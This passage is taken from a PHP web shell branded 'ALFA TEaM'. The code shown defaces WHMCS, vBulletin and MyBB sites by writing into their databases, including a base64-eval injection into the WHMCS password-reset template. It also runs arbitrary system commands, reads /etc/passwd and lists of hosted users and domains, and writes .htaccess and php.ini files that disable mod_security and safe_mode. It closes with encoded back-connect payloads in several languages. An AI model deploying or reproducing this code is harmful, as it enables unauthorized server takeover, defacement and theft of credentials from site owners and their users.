onSubmit=\\\"g('IndexChanger',null,null,null,'whmcs',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\\\">\r\n\";\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'URL', 'inputName' => 'path', 'inputValue' => 'http:\/\/site.com\/whmcs', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'File Name', 'inputName' => 'fname', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td6' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho \"<br><div class='txtfont'>| Your Index |<\/div><br>\r\n<textarea name=index rows='19' cols='103'><title>Hacked By Sole Sad & Invisible<\/title><b>Hacked By Sole Sad & Invisible<\/b><\/textarea><br>\r\n<input type='submit' value=' '>\r\n<\/form><\/center><\/center>\";\r\nif(isset($_POST['alfa6'])){\r\n$s0levisible=\"Powered By Solevisible\";\r\n$dbu = $_POST['alfa6'];\r\n$path = $_POST['alfa5'];\r\n$fname = $_POST['alfa4'];\r\n$dbn = $_POST['alfa7'];\r\n$dbp = $_POST['alfa8'];\r\n$dbh = $_POST['alfa9'];\r\n$index = $_POST['alfa10'];\r\n$index = str_replace(\"\\'\",\"'\",$index);\r\n$deface = '$x = base64_decode(\"'.__ZW5jb2Rlcg($index).'\"); $solevisible = fopen(\"'.$fname.'\",\"w\"); fwrite($solevisible,$x);';\r\n$saveData = __ZW5jb2Rlcg($deface);\r\n$Def = '{php}eval(base64_decode(\"'.$saveData.'\"));{\/php}';\r\nif(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){\r\n$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$soleSave=@mysqli_query($conn,\"select message from tblemailtemplates where name='Password Reset Validation'\");\r\n$soleGet = mysqli_fetch_assoc($soleSave);\r\n$tempSave1 = $soleGet['message'];\r\n$tempSave = str_replace(\"'\",\"\\'\",$tempSave1);\r\n$inject = \"UPDATE tblemailtemplates SET message='$Def' WHERE name='Password Reset Validation'\";\r\n$result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));\r\n$create = \"insert into tblclients (email) values('solevisible@fbi.gov')\";\r\n$result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));\r\nif(function_exists('curl_version')){\r\n$AlfaSole = new AlfaCURL(true);\r\n$saveurl = $AlfaSole->Send($path.\"\/pwreset.php\");\r\n$getToken = preg_match(\"\/name=\\\"token\\\" value=\\\"(.*?)\\\"\/i\",$saveurl,$token);\r\n$AlfaSole->Send($path.\"\/pwreset.php\",\"post\",\"token={$token[1]}&action=reset&email=solevisible@fbi.gov\");\r\n$backdata = \"UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'\";\r\n$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));\r\n__alert('File Created...');\r\necho \"<br><pre id=\\\"strOutput\\\" style=\\\"margin-top:5px\\\" class=\\\"ml1\\\"><br><center><font color=red><a target='_blank' href='\".$path.\"\/\".$fname.\"'>Click Here !<\/a><\/font><\/b><\/center><br><br>\";\r\n}else{\r\necho \"<br><pre id=\\\"strOutput\\\" style=\\\"margin-top:5px\\\" class=\\\"ml1\\\"><br><center><b><font color=\\\"#FFFFFF\\\">Please go to Target <\/font><font color=red>\\\" \".$path.\"\/pwreset.php \\\"<\/font><br\/><font color=\\\"#FFFFFF\\\"> and reset password with email<\/font> => <font color=red>solevisible@fbi.gov<\/font><br\/><font color=\\\"#FFFFFF\\\">and go to<\/font> <font color=red>\\\" \".$path.\"\/\".$fname.\" \\\"<\/font><\/b><\/center><br><br>\";\r\n}}}}\r\nif(isset($_POST['alfa1']) && ($_POST['alfa1'] == 'vb')){\r\necho __pre();\r\n\r\necho \"<center><center><div class='txtfont_header'>| vBulletin |<\/div>\r\n<p><center>\".getConfigHtml('vb').\"<form onSubmit=\\\"g('IndexChanger',null,'vb',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,'>>'); return false;\\\">\r\n\";\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Prefix', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho \"<br><div class='txtfont'>| Your Index |<\/div><br>\r\n<textarea name='index' rows='19' cols='103'><title>Hacked By Sole Sad & Invisible<\/title><b>Hacked By Sole Sad & Invisible<\/b><\/textarea><br>\r\n<input type='submit' value=' '><\/form><\/center><\/center>\";\r\nif($_POST['alfa8']=='>>'){\r\n$s0levisible=\"Powered By Solevisible\";\r\n$dbu = $_POST['alfa2'];\r\n$dbn = $_POST['alfa3'];\r\n$dbp = $_POST['alfa4'];\r\n$dbh = $_POST['alfa5'];\r\n$index = $_POST['alfa6'];\r\n$prefix = $_POST['alfa7'];\r\n$index=str_replace(\"\\'\",\"'\",$index);\r\n$set_index = \"{\\${eval(base64_decode(\\'\";\r\n$set_index .= __ZW5jb2Rlcg(\"echo \\\"$index\\\";\");\r\n$set_index .= \"\\'))}}{\\${exit()}}\";\r\nif(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){\r\n$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$loli1 = \"UPDATE \".$prefix.\"template SET template='\".$set_index.\"\".$s0levisible.\"' WHERE title='spacer_open'\";\r\n$loli2 = \"UPDATE \".$prefix.\"template SET template='\".$set_index.\"\".$s0levisible.\"' WHERE title='FORUMHOME'\";\r\n$loli3 = \"UPDATE \".$prefix.\"style SET css='\".$set_index.\"\".$s0levisible.\"', stylevars='', csscolors='', editorstyles=''\";\r\n@mysqli_query($conn,$loli1) or die (mysqli_error($conn));\r\n@mysqli_query($conn,$loli2) or die (mysqli_error($conn));\r\n@mysqli_query($conn,$loli3) or die (mysqli_error($conn));\r\n__alert('VB index changed...!');\r\n}\r\n}\r\n}\r\nif(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'mybb')) {\r\necho __pre();\r\n\r\necho \"<center><center><div class='txtfont_header'>| Mybb |<\/div>\r\n<p><center>\".getConfigHtml('mybb').\"<form onSubmit=\\\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\\\" method=POST action=''>\r\n\";\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'mybbdbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'mybbdbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'mybbdbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'mybbdbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho \"<br><div class='txtfont'>| Your Index |<\/div><br>\r\n<textarea name=mybbindex rows='19' cols='103'>\r\n<title>Hacked By Sole Sad & Invisible<\/title><b>Hacked By Sole Sad & Invisible<\/b><\/textarea><p><input type='submit' value='' ><\/p><\/form><\/center><\/center>\";\r\nif(isset($_POST['alfa6'])){\r\n$mybb_dbh = $_POST['alfa6'];\r\n$mybb_dbu = $_POST['alfa7'];\r\n$mybb_dbn = $_POST['alfa8'];\r\n$mybb_dbp = $_POST['alfa9'];\r\n$mybb_index = $_POST['alfa10'];\r\nif(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){\r\n$conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));\r\n$prefix=\"mybb_\";\r\n$loli7 = \"UPDATE \".$prefix.\"templates SET template='\".$mybb_index.\"' WHERE title='index'\";\r\n$result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));\r\n__alert('MyBB index changed...!');\r\n}\r\n}\r\n}\r\necho \"<\/div>\";\r\nalfafooter();\r\n}\r\nfunction alfaproc()\r\n{\r\nalfahead();\r\necho \"<Div class=header><br><center>\";\r\nif(empty($_POST['ajax'])&&!empty($_POST['alfa1']))\r\n$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;\r\nif($GLOBALS['sys']==\"win\"){\r\n$process=array(\r\n\"Task List\" =>\"tasklist \/V\",\r\n\"System Info\" =>\"systeminfo\",\r\n\"Active Connections\" => \"netstat -an\",\r\n\"Running Services\" => \"net start\",\r\n\"User Accounts\" => \"net user\",\r\n\"Show Computers\" => \"net view\",\r\n\"ARP Table\" => \"arp -a\",\r\n\"IP Configuration\" => \"ipconfig \/all\"\r\n);}else{\r\n$process=array(\r\n\"Process status\" => \"ps aux\",\r\n\"Syslog\" =>\"cat \/etc\/syslog.conf\",\r\n\"Resolv\" => \"cat \/etc\/resolv.conf\",\r\n\"Hosts\" =>\"cat \/etc\/hosts\",\r\n\"Cpuinfo\"=>\"cat \/proc\/cpuinfo\",\r\n\"Version\"=>\"cat \/proc\/version\",\r\n\"Sbin\"=>\"ls -al \/usr\/sbin\",\r\n\"Interrupts\"=>\"cat \/proc\/interrupts\",\r\n\"lsattr\"=>\"lsattr -va\",\r\n\"Uptime\"=>\"uptime\",\r\n\"Fstab\" =>\"cat \/etc\/fstab\"\r\n);}\r\nforeach($process as $n => $link){\r\necho '<a href=\"javascript:void(0);\" onclick=\"g(\\'proc\\',null,\\''.$link.'\\')\"> | '.$n.' | <\/a>';\r\n}\r\necho \"<\/center><br>\";\r\nif(!empty($_POST['alfa1'])){\r\necho \"<pre class='ml1' style='margin-top:5px' >\";\r\nif($GLOBALS[\"glob_chdir_false\"]&&!empty($_POST[\"c\"])){$cmd = \"cd '\".addslashes($_POST[\"c\"]).\"';\";}\r\necho alfaEx($cmd.$_POST['alfa1'], true);\r\necho '<\/pre>';\r\n}\r\necho \"<\/div>\";\r\nalfafooter();\r\n}\r\nfunction alfasafe(){\r\nalfahead();\r\necho \"<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |<\/div>\";\r\necho '<h3><a href=javascript:void(0) onclick=\"g(\\'safe\\',null,\\'php.ini\\',null)\">| PHP.INI | <\/a><a href=javascript:void(0) onclick=\"g(\\'safe\\',null,null,\\'ini\\')\">| .htaccess(apache) | <\/a><a href=javascript:void(0) onclick=\"g(\\'safe\\',null,null,null,\\'pl\\')\">| .htaccess(LiteSpeed) |<\/a><a href=javascript:void(0) onclick=\"g(\\'safe\\',null,null,null,null,\\'passwd\\')\">| Read-Passwd | <\/a><a href=javascript:void(0) onclick=\"g(\\'safe\\',null,null,null,null,null,\\'users\\')\">| Read-Users | <\/a><a href=javascript:void(0) onclick=\"g(\\'safe\\',null,null,null,null,null,null,\\'valiases\\')\">| Get-User | <\/a><a href=javascript:void(0) onclick=\"g(\\'safe\\',null,null,null,null,null,null,null,null,\\'domains\\')\">| Get-Domains | <\/a><\/center><\/h3>';\r\nif(!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains'){\r\nif(!_alfa_file_exists(\"\/etc\/virtual\/domainowners\")){\r\necho __pre();\r\n$solevisible9 = _alfa_file('\/etc\/named.conf');\r\nif(is_array($solevisible9)){\r\nforeach($solevisible9 as $solevisible13){\r\nif(@eregi('zone',$solevisible13)){\r\npreg_match_all('#zone \"(.*)\"#',$solevisible13,$solevisible14);\r\nif(strlen(trim($solevisible14[1][0])) > 2){\r\necho $solevisible14[1][0].'<br>';\r\n}}}\r\n}\r\n}else{\r\necho __pre();\r\n$users = _alfa_file(\"\/etc\/virtual\/domainowners\");\r\nif(is_array($users)){\r\nforeach($users as $boz){\r\n$dom = explode(\":\",$boz);\r\necho $dom[0].\"\\n\";}}}}\r\nif(!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases'){\r\necho '\r\n<form onsubmit=\"g(\\'safe\\',null,null,null,null,null,null,\\'valiases\\',this.site.value,null,\\'>>\\'); return false;\" method=\"post\" \/><center><div class=\"txtfont\">Url: <\/font><input type=\"text\" placeholder=\"site.com\" name=\"site\" \/> <input type=\"submit\" value=\" \" name=\"go\" \/><\/form><\/center>';\r\nif(isset($_POST['alfa9']) && $_POST['alfa9'] == '>>'){\r\nif(!_alfa_file_exists(\"\/etc\/virtual\/domainowners\")){\r\n$site = trim($_POST['alfa7']);\r\n$rep = str_replace(array(\"https:\/\/\",\"http:\/\/\",\"www.\"),\"\",$site);\r\n$user = \"\";\r\nif(function_exists(\"posix_getpwuid\") && function_exists(\"fileowner\")){\r\n\tif($user = @posix_getpwuid(@fileowner(\"\/etc\/valiases\/{$rep}\"))){\r\n\t\t$user = $user['name'];\r\n\t}\r\n}else{\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\t$user = alfaEx(\"stat -c '%U' \/etc\/valiases\/\".$rep);\r\n\t}\r\n}\r\nif(!empty($user)&&$user!='root'){\r\necho __pre().\"<center><table border='1'><tr><td><b><font color=\\\"#FFFFFF\\\">User: <\/b><\/font><\/td><td><b><font color=\\\"#FF0000\\\">{$user}<\/font><\/b><\/td><\/tr><tr><td><b><font color=\\\"#FFFFFF\\\">site: <\/b><\/font><\/td><td><b><font color=\\\"#FF0000\\\">{$rep}<\/font><\/b><\/td><\/tr><\/table><\/center>\";\r\n}else {echo __pre().'<center><b>No such file or directory Or Disable Functions is not NONE...<\/b><\/center>';}\r\n}else{\r\n$site = trim($_POST['alfa7']);\r\n$rep = str_replace(array(\"https:\/\/\",\"http:\/\/\",\"www.\"),\"\",$site);\r\n$users = _alfa_file(\"\/etc\/virtual\/domainowners\");\r\nforeach($users as $boz){\r\n$ex = explode(\":\",$boz);\r\nif($ex[0] == $rep){\r\necho __pre().\"<center><table border='1'>\r\n<tr><td><b><font color=\\\"#FFFFFF\\\">User: <\/b><\/font><\/td><td><b><font color=\\\"#FF0000\\\">\".trim($ex[1]).\"<\/font><\/b><\/td><\/tr>\r\n<tr><td><b><font color=\\\"#FFFFFF\\\">site: <\/b><\/font><\/td><td><b><font color=\\\"#FF0000\\\">{$rep}<\/font><\/b><\/td><\/tr><\/table><\/center>\";break;}}}}}\r\nif(!empty($_POST['alfa5']) && isset($_POST['alfa5'])){\r\nif(!_alfa_file_exists(\"\/etc\/virtual\/domainowners\")){\r\necho __pre();\r\n$i = 0;\r\nwhile ($i < 60000) {\r\n$line = @posix_getpwuid($i);\r\nif (!empty($line)) {\r\nwhile (list ($key, $vl) = each($line)){\r\necho $vl.\"\\n\";\r\nbreak;}}$i++;}\r\n}else{echo __pre();\r\n$users = _alfa_file(\"\/etc\/virtual\/domainowners\");\r\nforeach($users as $boz){\r\n$user = explode(\":\",$boz);\r\necho trim($user[1]).'<br>';}}}\r\nif(!empty($_POST['alfa4']) && isset($_POST['alfa4'])){\r\necho __pre();\r\nif(_alfa_can_runCommand(true,true)){echo __read_file(\"\/etc\/passwd\");}elseif(function_exists(\"posix_getpwuid\")){\r\nfor($uid=0;$uid<60000;$uid++){\r\n$ara = @posix_getpwuid($uid);\r\nif(!empty($ara)){\r\nwhile(list ($key, $val) = each($ara)){\r\necho \"$val:\";\r\n}echo \"\\n\";}}\r\n}else{__alert('failed...');}}\r\nif(!empty($_POST['alfa2']) && isset($_POST['alfa2'])){\r\n@__write_file($GLOBALS['cwd'].\".htaccess\",\"#Generated By Sole Sad and Invisible\\n<IfModule mod_security.c>\\nSec------Engine Off\\nSec------ScanPOST Off\\n<\/IfModule>\");\r\necho '<center><b><big>htaccess for Apache created...!<\/center><\/b><\/big>';\r\n}\r\nif(!empty($_POST['alfa1'])&& isset($_POST['alfa1'])){\r\n@__write_file($GLOBALS['cwd'].\"php.ini\",\"safe_mode=OFF\\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)\");\r\necho '<center><b><big> php.ini created...!<\/center><\/b><\/big>';\r\n}\r\nif(!empty($_POST['alfa3']) && isset($_POST['alfa3'])){\r\n@__write_file($GLOBALS['cwd'].\".htaccess\",\"#Generated By Sole Sad and Invisible\\n<Files *.php>\\nForceType application\/x-httpd-php4\\n<\/Files>\\n<IfModule mod_security.c>\\nSecFilterEngine Off\\nSecFilterScanPOST Off\\n<\/IfModule>\");\r\necho '<center><b><big>htaccess for Litespeed created...!<\/center><\/b><\/big>';\r\n}\r\necho \"<br><\/div>\";\r\nalfafooter();\r\n}\r\nfunction __get_resource($content){\r\nreturn @gzinflate(__ZGVjb2Rlcg($content));\r\n}\r\nfunction __write_file($file, $content){\r\nif($fh = @fopen($file, \"wb\")){\r\nif(fwrite($fh, $content)!==false) return true;\r\n}\r\nreturn false;\r\n}\r\nfunction bcinit($evalType, $evalCode, $evalOptions, $evalArguments){\r\n$res = \"<font color='green'>[ Success...! ]<\/font>\";\r\n$err = \"<font color='red'>[ Failed...! ]<\/font>\";\r\nif($evalOptions!=\"\") $evalOptions = $evalOptions.\" \";\r\nif($evalArguments!=\"\") $evalArguments = \" \".$evalArguments;\r\nif($evalType==\"c\"){\r\n$tmpdir = ALFA_TEMPDIR;\r\nchdir($tmpdir);\r\nif(is_writable($tmpdir)){\r\n$uniq = substr(md5(time()),0,8);\r\n$filename = $evalType.$uniq.\".c\";\r\n$path = $filename;\r\nif(__write_file($path, $evalCode)){\r\n$ext = ($GLOBALS['sys']=='win')? \".exe\":\".out\";\r\n$pathres = $filename.$ext;\r\n$evalOptions = \"-o \".$pathres.\" \".$evalOptions;\r\n$cmd = \"gcc \".$evalOptions.$path;\r\nalfaEx($cmd);\r\nif(is_file($pathres)){\r\nif(chmod($pathres, 0755)){\r\n$cmd = $pathres.$evalArguments;\r\nalfaEx($cmd);\r\n}else{$res = $err;}\r\nunlink($pathres);\r\n}else{$res = $err;}\r\nunlink($path);\r\n}else{$res = $err;}\r\n}\r\nreturn $res;\r\n}elseif($evalType==\"java\"){\r\n$tmpdir = ALFA_TEMPDIR;\r\nchdir($tmpdir);\r\nif(is_writable($tmpdir)){\r\nif(preg_match(\"\/class\\ ([^{]+){\/i\",$evalCode, $r)){\r\n$classname = trim($r[1]);\r\n$filename = $classname;\r\n}else{\r\n$uniq = substr(md5(time()),0,8);\r\n$filename = $evalType.$uniq;\r\n$evalCode = \"class \".$filename.\" { \".$evalCode . \" } \";\r\n}\r\n$path = $filename.\".java\";\r\nif(__write_file($path, $evalCode)){\r\n$cmd = \"javac \".$evalOptions.$path;\r\nalfaEx($cmd);\r\n$pathres = $filename.\".class\";\r\nif(is_file($pathres)){\r\nif(chmod($pathres, 0755)){\r\n$cmd = \"java \".$filename.$evalArguments;\r\nalfaEx($cmd);\r\n}else{$res = $err;}\r\nunlink($pathres);\r\n}else{$res = $err;}\r\nunlink($path);\r\n}else{$res = $err;}\r\n}\r\nreturn $res;\r\n}\r\nreturn false;\r\n}\r\nfunction alfaconnect(){\r\nalfahead();\r\n$php=\"7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg\/k8AD9PCQOFVlqnIqyS2ZAyyU\/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No\/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8\/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP\/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY\/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v\/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt\/ych0\/+EkP2ORV8he2nN+gU=\";\r\n$python=\"pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5\/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P\/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx\/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV\/\/NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O\/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw\/uzQCCxFbiNgW68CaQaFq\/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL\/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz\/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe\/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ\/pJZG5\/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7\/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD\/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy\/3C+Fv5GnNL9Cw==\";\r\n$perl=\"lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755\/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp\/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05\/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr\/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ\/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si\/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet\/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==\";\r\n$ruby=\"tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8\/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+\/Dt4enbx6f\/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k\/Xx7c\/\/P0Yr\/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2\/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT\/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0\/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN\/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D\/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu\/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r\/o1z8Mh10ym3nM4lp353m\/8zsHbgkJ82E6WbM\/1kJwz58XKTZ8FG8gs=\";\r\n$node=\"nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW\/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ\/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx\/HgH9lj76IXY0Mm80Mmg0LuHDFw==\";\r\n$c=\"tVJtb9owEP7cSv0PHp1ap\/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi\/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3\/XTIcBXH\/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP\/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3Jrms